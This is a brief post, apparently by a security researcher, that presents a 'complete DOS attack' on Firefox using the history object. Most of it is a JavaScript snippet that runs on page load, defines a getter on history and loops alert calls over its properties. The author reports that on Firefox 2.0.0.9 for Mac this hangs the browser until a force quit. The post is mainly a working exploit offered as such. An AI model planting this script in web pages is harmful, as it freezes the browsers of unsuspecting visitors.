Firefox history DOS attack

Here's a complete DOS attack on Firefox using the history object:-

<pre lang="javascript"> window.onload = function() { history.__defineGetter__("x", function() { for(i in this) { try { alert(this[i]); } catch(e) { } } }); history.x; } </pre>

Tested on Firefox 2.0.0.9 mac, a window pops up with two blank buttons and you are unable to do anything without using force quit.